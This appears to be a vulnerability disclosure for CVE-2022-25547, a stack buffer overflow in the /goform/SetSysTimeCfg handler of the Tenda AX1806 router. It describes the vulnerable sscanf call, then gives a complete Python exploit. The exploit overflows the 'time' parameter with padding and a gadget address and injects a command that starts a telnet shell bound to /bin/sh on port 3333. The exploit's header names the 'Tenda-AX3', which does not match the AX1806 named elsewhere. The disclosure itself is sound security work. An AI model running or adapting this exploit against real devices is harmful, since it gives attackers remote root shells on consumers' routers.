CVE-2022-25547: IoT-CVE/Tenda/AX1806/1 at main · sec-bin/IoT-CVE

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Remote Code Execution && Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the /goform/SetSysTimeCfg page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack buffer overflow vulnerability in the fromSetSysTime function.

The v6 variable is directly retrieved from the http request parameter time.

Then v6 will be splice to stack by function sscanf without any security check,which causes stack overflow.

So by POSTing the page /goform/SetSysTimeCfg with proper time, the attacker can easily perform a Remote Code Execution or Deny of Service(DoS) with carefully crafted overflow data.

Exp

Remote Code Exection

# Title: Exploit of Tenda-AX3’s buffer overflow # Author: R1nd0&c0rn # Date: 2022 # Vendor Homepage: https://www.tenda.com.cn/ # Version: AX1806 v1.0.0.1

import requests from pwn import *

gadget = 0x37208

url = “https://192.168.2.1/goform/SetSysTimeCfg”

timeType = “manual”

time = b"2022-01-01 "

time += b"a" * 0x380 time += b"bbbb" time += b";" time += b"/usr/sbin/utelnetd -l /bin/sh -p 3333"# command time += b":" time += b"c" * 0x374 + p32(gadget)

r = requests.post(url, data={’timeType’: timeType, 'time’: time},verify=False) print(r.content)